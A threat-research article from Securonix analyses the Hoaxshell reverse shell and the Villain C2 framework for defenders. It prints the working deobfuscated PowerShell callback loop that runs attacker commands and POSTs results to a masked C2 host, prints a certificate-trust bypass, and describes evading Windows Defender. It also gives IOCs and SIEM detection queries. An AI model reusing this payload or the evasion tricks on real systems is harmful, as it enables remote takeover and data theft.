By Securonix Threat Labs, Threat Research: D.Iuzvyk, T.Peck, O.Kolesnikov
Figure 1: Hoaxshell payload found in the wild (pastebin.com)
Introduction
By now, news about the elusive Hoaxshell and associated Villain framework have been making waves across cybersecurity news channels. What makes Hoaxshell interesting is the unique way connections are constructed from the infected host to the C2 server. It’s this unique design that makes detection quite difficult compared to a traditional reverse shell.
Today, in the first of our Knowledge Sharing articles for the security community, we’ll be taking a deeper dive into what makes Hoaxshell unique and difficult to detect compared to backdoor implants that exist today. We’ll also explore the payload itself and take a look at some of the interesting data from both a host-based and network-based standpoint to get a better understanding of how this new reverse shell technology works.
While generated payloads are currently detected by Windows Defender, we’ll also discuss how simple modifications to the generated code will bypass detections, thus keeping Hoaxshell an actionable threat in 2023.
Hoaxshell in use today
With the majority of the initial hype surrounding Hoaxshell and Villain come and gone, is it still worth attempting to detect? To answer this question, our team analyzed historical sample data in an effort to identify Hoaxshell or Villain payloads in the wild.
In the last six weeks we identified a handful of submissions or public facing URLs, such as Pastebin submissions, that contain Hoaxshell connection strings to public IP addresses. Many of which are leveraging the free proxy tunneling tool Ngrok to accept return connections from affected machines.
Some recently identified samples are highlighted below.
| Hoaxshell SHA256 |
| 889116914ff9d0ef8fe089d83b9ba9114cb42d189857737660027094fb3a9b61 |
| a5c190cf07384083586d8a8d858cc69a15526fafccdb602e29e3c0c859723231 |
| b013b4c70fc455c5064eef7097a85ee3df2abef08144c638b3a1030a4ce20c0c |
| 686be3332ef32b058fd0799c7e957e64cad9bb0533e816deb6556137b021b2f9 |
| 70b2883b6a70983ee015a992d84fcdf05a47b9987ed5d2f7dc9fb5e1d6e766fc |
| 5dffa6e000f42f96dd4f728f87f71caa8a63441a9f71749b7f106d2e1f0057f5 |
| Hoaxshell Pastebin |
| hxxps://pastebin[.]com/xqEbizqx |
| hxxps://pastebin[.]com/u74PFqLy |
| hxxps://pastebin[.]com/LNbe8DKa |
| hxxps://pastebin[.]com/feUCRCRF |
| hxxps://pastebin[.]com/2kiE8wVY |
| hxxps://pastebin[.]com/Vj5sWMXj |
| hxxps://pastebin[.]com/2Lk5NVtS |
| hxxps://pastebin[.]com/bjh3YFyX |
| hxxps://pastebin[.]com/VT2smadu |
| hxxps://pastebin[.]com/ks3AiUkD |
| hxxps://pastebin[.]com/5680RPLn |
A deeper dive into Hoaxshell
Hoaxshell was first released in July last year and has been steadily growing in popularity since then. Originally created by GitHub user t3l3machus, the original source code is written in Python (hoaxshell.py) which is able to generate the PowerShell backdoor connection string as well as listen for incoming connections.
The scope of its functionality is to establish a connection from client to server which acts as a reverse shell. In a nutshell, the attacker runs the Hoaxshell Python script (hoaxshell.py) on a remote C2 server which generates a Base64 encoded PowerShell connection script. Once the script is executed on the target system, the attacker is presented with a shell prompt of the target machine with the permission level of whoever it was executed as on the target system.
If this sounds familiar, it should, as this is effectively how a typical reverse shell payload runs. However, the thing that makes Hoaxshell unique are the strange and rather unique methods used to establish the session.
Hoaxshell payload analysis
When Hoaxshell is executed on the listening server, a unique connection string is generated from two input parameters, IP and port, similar to that of a typical reverse shell.
The connection string is provided upon running the Hoaxshell script is a Base64 encoded PowerShell script which can be seen in the figure below.
Figure 2: Hoaxshell reverse shell payload
Next, let’s take that Base64 PowerShell script and decode it to see what’s happening behind the scenes. At first glance, there is a bit of obfuscation by substituting strings into variables such as IP:port combinations as well as any connection strings.
Figure 3: Base64 decoded Hoaxshell connection string
Deobfuscating the script further by removing all of the variable substitutions, we get the following command:
$v=Invoke-WebRequest -UseBasicParsing -Uri http://xxx.xxx.xxx.xxx:10000/9de7839c -Headers @{“X-0a8b-95e0″=’9de7839c-31c57545-74ae64dd’};
while ($true){
$c=(Invoke-WebRequest -UseBasicParsing -Uri http://xxx.xxx.xxx.xxx:10000/31c57545 -Headers @{“X-0a8b-95e0″=’9de7839c-31c57545-74ae64dd’}).Content;
if ($c -ne ‘None’) {$r=iex $c -ErrorAction Stop -ErrorVariable e;
$r=Out-String -InputObject $r;
$t=Invoke-WebRequest -Uri http://xxx.xxx.xxx.xxx:10000/74ae64dd -Method POST -Headers @{“X-0a8b-95e0″=’9de7839c-31c57545-74ae64dd’} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ‘ ‘)
}
sleep 0.8
}
With the code cleaned up a bit we’re able to identify some interesting things happening here. First are the uniquely generated URL connection strings. Each time that hoaxshell.py is executed, the unique identifier is appended to the call-back URL (http://xxx.xxx.xxx.xxx:10000/31c57545), (http://xxx.xxx.xxx.xxx:10000/31c57545) and (http://xxx.xxx.xxx.xxx:10000/74ae64dd). You’ll notice too that each unique URL is taken from the dash separated header value for the item “X-0a8b-95e0”, in this case.
The IF function inside the loop compares the $c variable to “None” and proceeds if the two are not equal. During our testing, on a successful connection, the $c variable should contain the encoded text “77 111 118 101 32 111 110 32 109 97 116 101 46” which translates to “Move on mate.” when decoded using PowerShell encoding classes which we’ll get to later.
The script also appears to be leveraging the HTTP POST method while modifying some of the headers, this is of course, how the Hoaxshell goes undetected and what separates this form of reverse shell from most others. The shell is established via a TCP connection and once the connection is established, Hoaxshell utilizes HTTP POST requests to send each of the attacker’s command output back to the attacker’s server.
Interestingly enough, as mentioned earlier, the script leverages the PowerShell encoding class [System.Text.Encoding] to transform each of the attacker’s commands to UTF-8 byte values then output and POST it back to the attacker. Let’s take a look at this in action in the next section.
The two other variables “($e+$r)” found in the later portion of the script appear to be invoking whatever command is issued by the attacker once decoded using “[System.Text.Encoding]::UTF8.GetBytes”.
Lastly, the while loop runs every 0.8 seconds which pauses using (sleep 0.8). A GET request is used to check whether or not a new command was issued by the attacker’s server.
Hoaxshell from a networking perspective
Now that we understand that Hoaxshell executes commands derived from POST requests from the attacker’s server, let’s see what this looks like over the network using popular PCAP tools.
Once the PowerShell script is executed on the target host and the session is established, we issue a simple “whoami” command from a windows terminal running as SYSTEM. The attacker’s server sent a simple HTTP request containing the command followed by “;pwd” which starts the new shell prompt on the server. As you can see in the figure below the issued command was “whoami;pwd”
Figure 4: Hoaxshell command execution pcap
Now let’s examine the response to the “whoami” command sent from the attacker. We mentioned earlier that responses are encoded using the PowerShell class “[System.Text.Encoding]” prior to sending the response back to the attacker’s server.
In the figure below, we can see that in action. The form value in the POST request contains an array of the decimal value for each character. We can easily decode this using this cyber chef recipe to gather the response that was also received by the attacker. As you can see below, the response to the “whoami” command was “nt authority\system” with the output pwd command appended below.
Figure 5: Hoaxshell command response pcap
From Hoaxshell to the Villain framework
The author who created the Hoaxshell reverse shell framework, later created the much more sophisticated Villain framework which uses the same fundamental Hoaxshell connection technology, but with much more features.
Figure 6: Villain framework in action
As seen in the figure above, Villain has the ability to obfuscate the command. It employs a few PowerShell obfuscation techniques such as variable randomization, case randomization, and string splitting to break up common strings used in Hoaxshell which could be flagged by AV.
Another feature is the use of certificates to encrypt the connection using HTTPS. As you can see in figure 4 above, we generated a quick certificate and key combo using OpenSSL and fed the certificate and key files in as parameters while starting Villain.py. This in turn did a few interesting things when the payload was generated. If you look closely at the obfuscated connection command, it now uses https:// to connect to the attacker’s server. It also generated a few additional .NET assembly commands via the AddType class needed by PowerShell to accept a connection using a self-signed certificate.
Add-Type @’
using System.Net
using System.Security.Cryptography.X509Certificates
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult (ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) {
return true
}
}
‘@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy;
Sessioning is also built into the Villain framework which allows the attacker to generate multiple payloads and accept connections from multiple targets, which is similar to how Cobalt Strike or Sliver C2 frameworks operate.
Villain contains the ability to connect to other instances of itself which then are able to share established backdoors. AES encryption is utilized between these connected parent and sibling servers. It uses the target server’s unique ID as the AES encryption KEY and the 16 first bytes of the attacker’s server ID as IV. During the initial handshake between each of the two servers, the ID is exchanged in clear text which could allow the handshake to be captured and then used to decrypt traffic between the client and server. This is, of course, if the attacker opted to use the standard HTTP protocol which would allow for clear text data to be sniffed by a third party.
Lastly, the Villain framework has added support for Linux reverse shells. We tested this on a few operating systems ranging from Centos to Debian. The connection string uses the Linux-native nohup command. This command (short for no-hangup) allows a process to remain running, even if the user disconnects from their local terminal or a terminal session accessed remotely through SSH, for example.
Figure 7: Villain Linux reverse shell
Hoaxshell antivirus evasion
What makes Hoaxshell, and especially the Villain framework, interesting is how effective it is at bypassing antivirus detection. At the time of writing this article, Hoaxshell is detected by Microsoft’s AMSI (Anti-Malware Scan Interface) protection for PowerShell. Even with obfuscation enabled, AMSI still seems to catch it.
However, deploying some simple AMSI countermeasures, the generated Villain PowerShell script can easily bypass Windows Defender allowing it to run.
Figure 8: Villain Hoaxshell bypassing Windows Defender (1/2023). Windows target (left), Villain (right)
To bypass AV, we simply modified the order in which some of the events happened. We also changed each of the PowerShell invokes to less common obfuscated equivalents (Invoke-RestMethod, Invoke-Expression, Sleep). Each were replaced using Get-Alias and character masking techniques highlighted as a part of the STEEP#MAVERICK campaign.
These changes can be seen in the gif (figure 8) above. As you can see, on a fully patched Windows 11 instance with Defender enabled along with cloud protection, we were able to execute the Villain generated payload and get a return shell! All in all, the changes to the PowerShell script took roughly two minutes to make and were trivial to incorporate.
When it comes to bypassing AV, this technique is fairly common. Rarely do automated tools or payload generators successfully bypass AV for long.
Detecting Hoaxshell
While the evasive techniques used by Hoaxshell are formidable, especially against antivirus and NIDS/EDR technologies, there are definitely some ways Hoaxshell can be detected from a SIEM perspective.
- Spike in HTTP GET requests: During a successful callback to the C2 server, the client will produce an HTTP GET request every 0.8 seconds back to the attacker’s server. This is used to check for newly issued commands by the attacker. During a lengthy connection, this will end up producing a huge amount of GET requests over time. This is an IoC that can be tracked using behavioral detections. These requests can be detected and logged by layer-7 or DPI next-generation firewalls.
- Predictable PowerShell command line: PowerShell scripts generated by Hoaxshell or Villain are for the most part unique, however there are some consistent command parameters needed in order to build the connection, and many of these are reliable whether or not obfuscation is leveraged. Some of these include: ‘ -Headers‘, ‘ -UseBasicParsing‘, ‘POST‘, and ‘[System.Text.Encoding]::UTF8.GetBytes‘. Combining these together in a single process execution-based detection where the process name is “powershell.exe”, we could have solid detection without too many false positives. Some good log sources to monitor are:
– Event ID 1: Microsoft-Windows-Sysmon/Operational
– Event ID 4688: Security
– Event ID 4104/4103: Microsoft-Windows-PowerShell/Operational
- General PowerShell obfuscation techniques: Intentionally obfuscated code is very common with malware authors and red teamers. Some obfuscation techniques can be picked up to provide a reliable detection for potentially malicious code execution.
Figure 9: Hoaxshell detection using Securonix
Conclusion
Hoaxshell and Villain frameworks provide us with yet another example as to why it is important as defenders to remain on top of the latest forms of backdoor technologies. Both Hoaxshell and Villain’s methods for remote C2 communication are quite unique. With it being actively maintained by its creator, EDR and AV coverage will continue to be spotty as their signatures update to cover the latest versions.
Because of this, it is important to have a reliable defense-in-depth strategy for detecting modern C2 frameworks.
Securonix recommendations and mitigations
- Restrict PowerShell execution on Windows endpoints by low privileged users
- Monitor PowerShell outbound connections, especially to rare or unknown destination hosts
- Enable command line logging on the hosts as mentioned in the “Detecting Hoaxshell ” section
- Monitor HTTP Get requests, looking for an unusual or increased volume from internal hosts
Relevant Spotter queries
- Potential Hoaxshell/Villain PowerShell Process Create
rg_functionality = “Endpoint Management Systems” AND (deviceaction = “Process Create” OR deviceaction = “ProcessCreate” OR deviceaction = “Process Create (rule: ProcessCreate)” OR deviceaction = “ProcessRollup2” OR deviceaction = “SyntheticProcessRollUp2” OR deviceaction = “WmiCreateProcess” OR deviceaction = “Trace Executed Process” OR deviceaction = “Process” OR deviceaction = “Childproc” OR deviceaction = “Procstart” OR deviceaction = “Process Activity: Launched”) AND (destinationprocessname ENDS WITH “powershell.exe” OR filename = “powershell.EXE” OR destinationprocessname ENDS WITH “pwsh.exe” OR filename = “pwsh.dll” OR destinationprocessname ENDS WITH “powershell_ise.exe” OR filename = “powershell_ise.EXE”) AND resourcecustomfield1 CONTAINS ” -Headers” AND resourcecustomfield1 CONTAINS ” -body” AND resourcecustomfield1 CONTAINS ” -UseBasicParsing” AND resourcecustomfield1 CONTAINS ” -uri” AND resourcecustomfield1 CONTAINS “POST” AND resourcecustomfield1 CONTAINS “[System.Text.Encoding]::UTF8.GetBytes” - Hoaxshell/Villain PowerShell Backdoor Commands
rg_functionality = “Microsoft Windows Powershell” AND message CONTAINS ” -Headers” AND message CONTAINS ” -body” AND message CONTAINS ” -UseBasicParsing” AND message CONTAINS ” -uri” AND message CONTAINS “POST” AND message CONTAINS “[System.Text.Encoding]::UTF8.GetBytes” - PowerShell Obfuscation By Reordered Format String
rg_functionality = “Microsoft Windows Powershell” AND ((message CONTAINS “}{0}” OR message CONTAINS “} {0}”) AND message CONTAINS ” -f”)
Relevant Securonix detection policies
- EDR-ALL-1084-ERR
- EDR-ALL-79-ER
- PSH-ALL-295-RU
- PSH-ALL-231-RU
MITRE ATT&CK
| Technique | Tactic |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell |
| Command and Control | T1071.001: Application Layer Protocol: Web Protocols T1132.001: Data Encoding: Standard EncodingT1001: Data Obfuscation |
| Exfiltration | T1041: Exfiltration Over C2 Channel |
References:
- Microsoft: Encoding Class
https://learn.microsoft.com/en-us/dotnet/api/system.text.encoding?view=net-7.0 - Microsoft: Add-Type
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type?view=powershell-7.3 - Github: t3l3machus/Villain
https://github.com/t3l3machus/Villain - Github: t3l3machus/hoaxshell
https://github.com/t3l3machus/hoaxshell - Linux man7: nohup(1p) — Linux manual page
https://man7.org/linux/man-pages/man1/nohup.1p.html